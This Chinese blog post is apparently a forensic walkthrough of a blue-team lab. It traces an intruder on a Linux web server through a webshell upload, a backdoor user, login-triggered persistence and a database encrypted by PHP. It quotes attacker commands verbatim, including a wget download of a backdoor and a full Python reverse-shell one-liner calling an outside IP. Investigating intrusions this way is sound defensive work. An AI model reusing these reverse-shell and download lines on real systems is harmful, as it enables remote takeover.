第九章-blueteam 的小心思

第九章-blueteam 的小心思

服务器场景操作系统 Linux
服务器账号密码 root qi5qaz

任务环境说明
    注:进去后执行  sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
开放题目
    漏洞修复

题目;

1、攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。

2、攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。

3、找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。

4、攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。

5、攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。

6、攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

7、攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

8、攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。

9、解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。

10、因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。

使用Xshell新建或者SSH连接靶机

image-20250724163513750

成功链接后立马执行命令

sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart

第一题

1、攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。

第一步我们可以先看看日志,查看黑客有没有留下什么痕迹,这个靶场是apache,日志在 var/log/apache2

image-20250724163834148

从行为来看:

  • 攻击者(IP:192.168.16.43)连续多次对 login.php 提交了 POST 请求;
  • 前面几次返回的是 200 OK(说明还在登录页面,登录失败);
  • 最后一次(23:20:21)返回了 302(跳转) ⇒ 登录成功了!

从这段 Apache 日志看,攻击者用了正确的密码在 2023-11-18 23:20:21 登录后台成功了,表现为 HTTP 302 状态码,说明这一次 POST 提交中的密码就是正确密码。

日志里面没有发现黑客的账户和密码,这里我们从数据库入手

数据库登录的账号和密码通常存储在配置文件如 config.inc.php 中,因为配置文件 config.inc.php 是专门用于存放应用程序的配置参数,包括数据库连接信息。

这里使用find命令查找配置文件信息

 find / -name config.inc.php

image-20250724164237367

查看数据库账户和密码

cat /var/www/html/include/config.inc.php

image-20250724164423466

我们可以得到;

  • 数据库类型pdo:mysql
  • 数据库服务器localhost
  • 数据库用户名root
  • 数据库密码mysql123
  • 数据库名称mirage

我们这里使用Navicat Premium对数据库进行链接方便查看

在文件这里新建

image-20250724164658674

数据库也没有,我们直接查看流量包

find / -name "*.pcap"

image-20250724165854276

在根目录下面有流量包,我们在finalshell里面下载用wireshark打开找

题目告诉我们登录,那么我们直接差http的关键字 login.php

http contains "login.php"

image-20250724170132386

在302跳转的上一条流量包这里,对这个密码进行md5加密得到flag{D63EDB0E9DF4CF411398E3658C0237E0}

第二题

攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。

题一我们已经到导出了流量包,那我们可以查找一下“boundary”;

为什么要找boundary

\1. 定位上传请求

很多渗透攻击(如 Webshell 上传)都会用 multipart/form-data 方式提交,搜索 boundary 可以迅速定位 POST 请求中的文件上传

\2. 查看上传文件的内容

Wireshark 可以直接展示请求体内容。定位 boundary 后,下面的每段数据块就是上传内容,如用户名、文件名、payload 等

3.识别 Webshell 或敏感信息

通过搜索 boundary → 定位上传表单 → 查看 filename/内容,能识别上传的恶意脚本、敏感表单字段如:

  • filename="shell.php"
  • name="password"
  • <?php ... ?>(webshell代码)

找到一条数据包,对这条数据包进行http追踪流

image-20250724170827747 image-20250724171007339

这段是一次非常典型的 Webshell 文件上传请求,攻击者通过 HTTP 的 multipart/form-data 上传了一个包含木马的压缩包。我们逐段分析

黑客上传了一个名为 cpg.zip 的压缩文件

实际上传的是 ZIP 文件类型

这个 zip 里包含了一个 cpg.php 文件,其内容是一句话木马:

该 WebShell 可以执行任何攻击者通过 POST 参数 m3 传入的 PHP 代码

上传插件或文件的 POST 请求,目标接口是/pluginmgr.php?op=upload

上传页面:pluginmgr.php 进行md5加密

拿到flag{B05C0BE368FFA72E6CB2DF7E1E1B27BE}

第三题

找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。

在上题流量包里面我们知道了cpg.php就是木马文件,我这里我们直接对文件在系统盘里面进行查找

sudo find / -type f -name "cpg.php" 2>/dev/null

image-20250724172801511

得到文件位置,然后我们去到这个文件所在地目录对文件进行md5加密加密拿到flag{a097b773ced57bb7d51c6719fe8fe5f5}

image-20250724172505144

第四题

攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}

在wireshark里面 对http流量包进行筛选按照一下大小排序,在大小为“1037”的包中发现关键;

image-20250724173031444

跟进分析,追踪流HTTP;

image-20250724173128912

url在线解码,使用了PHP的 system 函数,执行了一个下载命令

m3=system("wget http://124.221.70.199:8889/is.world");

在这里下载了is.world文件我们使用find命令对文件进行定位

image-20250724173427097

这使用ls-la发现了一个点(.)后面跟了7个空格!攻击者上传的目录或文件名被故意命名得像是当前目录 ".",混淆你的视觉

进入这个目录查看文件

cd './.       '
ls -la
注意:引号中必须包含点+空格,否则无法正确进入。

对文件进行md5加密拿到flag{ee279c39bf3dcb225093bdbafeb9a439}

image-20250724173856123

第五题

攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。

题目告诉我们是新增加用户,检查用户配置文件,在Liunx中,/etc/passwd 文件,包含了所有用户的信息,包括用户名和用户ID等

cat /etc/passwd

image-20250724174214229

knowledgegraphd:x:0:0::/home/knowledgegraphd:/bin/bash
攻击者已经在系统中创建了一个具有 root 权限的后门账号:

knowledgegraphd 用户就是是黑客创建的后门用户UID 为 0 的账号就意味着 = root

  • 在 Linux 中,UID=0 是系统最高权限
  • 正常系统中 只允许一个 UID=0 的账号,即 root 本身
  • 如果出现第二个 UID=0 用户,就是严重的提权后门

对这个用户进行md5加密提交,在Ubuntu下字符串进行MD5加密和文件肯定不一的flag{4cda3461543c9a770a3349760594facd}

 echo -n "knowledgegraphd" | md5sum

image-20250724174602510

第六题

攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

shell配置文件

黑客可以修改用户的 Shell配置文件,这些文件在用户登录时被执行。常见的文件包括:

1、”~/.bashrc“:用于 Bash Shell,会在每次打开新的终端或登录 Shell 时执行。
2、”/.bash_profile“或”/.profile“:这些文件在用户登录时执行。
3、”~/.zshrc“:用于Zsh Shell,与”~/.bashrc“类似。
4、”/etc/profile“:为所有用户提供的系统级别的配置文件,
5、”/etc/bash.bashrc“:为所有用户提供的系统级别的配置文件,Bash Shell 专用。

在”/etc/profile“中发现可疑点

cat /etc/profile

image-20250724174751839

这行 /etc/profile 中的代码是攻击者设置的 Linux 登录自启动后门机制,每次有人登录就自动后台执行木马文件 is.world。结合上题发现的隐藏目录 . ,这是一种经典的持久化控制手法

/var/www/html/plugins/". "/is.world &,它是一个恶意添加的行,试图运行一个不明的命令或程序。

对文件进行md5加密拿到flag{65bf3e4a9ac90d75ec28be0317775618}

image-20250724175049382

第七题

攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。

黑客希望在只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录

1、“/root/.bashrc”:在root用户登录Bash Shell时执行;
2、“/root/.bash_profile”:在root用户登录时执行。
3、“/root/.profile”:在root用户登录时执行。
4、“/etc/profile”:所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)
5、“/etc/rc.local”:系统启动时执行,可以包含条件逻辑;

在“/root/.bashrc”中发现关键

cat /root/.bashrc

image-20250724175300531

Python 一个经典的反弹 shell 脚本,常被用作创建后门的手段

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &

至此对此文件进行md5加密拿到flag{4acc9c465eeeb139c194893ec0a8bcbc}

image-20250724175418755

第八题

攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。

使用Navicat Premium对数据库进行分析

JPMorgan Chase”数据库中发现它打不开****报错,怀疑可能有加密

image-20250724183726613

find定位一下“JPMorgan@0020Chase”

find / -name JPMorgan@0020Chase

使用echo来进行MD5加密拿到flag{0928a5424aa6126e5923980ca103560e}

echo -n "JPMorgan@0020Chase" | md5sum

第九题

解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。

尝试查找一下黑客比文件“cpg.php“新,又比闻文件“Balance.frm”旧的所有文件

find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm

image-20250724184131365

分析一下这个clockup.php文件

cat /var/lib/mysql/clockup.php

image-20250724184213287

这个PHP脚本的作用是对指定目录下的所有文件进行加密,指定目录那可不就是“/var/lib/mysql/JPMorgan@0020Chase”

这里使用反推脚本

<?php  
$currentDate = date("Y-m-d");  
$key = md5('2023-11-18');  
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);  
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";  
$files = scandir($filePath);  
foreach ($files as $file) {  
        if ($file != "." && $file != "..") {  
                    $fullPath = $filePath . '/' . $file;  
                        $encryptedContent = file_get_contents($fullPath);  
                        $decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);  
                            file_put_contents($fullPath, $decryptedContent);  
                        }  
}  
?>

那这里我们直接把解密脚本写在/var/www/mysql/目录下即可

image-20250724184323210

运行

php 123.php

运行完成,就先不要急着返回刷新数据库,最好先重启一下数据库;

使用命令;

sudo systemctl restart mysql

image-20250724184408144

我们Harper用户对应Areer的值是什么并且进行MD5加密拿到flag{8fd82b8864d71ed7fa12b59e6e34cd1c}

第十题

因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。

我们使用命令查找系统中以 root 用户身份拥有并设置了 SUID(Set User ID)权限的文件

find / -user root -perm -4000 2>/dev/null

image-20250724184629883

  • 在这个案例中,虽然只允许执行 systemctl status apache2.service,存在某种漏洞,肯定会导致执行其它命令或达到提权的效果。

所以直接在Liunx中MD5加密即可拿到flag{6585817513b0ea96707ebb0d04d6aeff}

md5sum /etc/sudoers

最后感谢大佬的分析:https://blog.csdn.net/administratorlws/article/details/140471298

posted @ 2025-08-06 10:37  0xMouise  阅读(54)  评论(0)    收藏  举报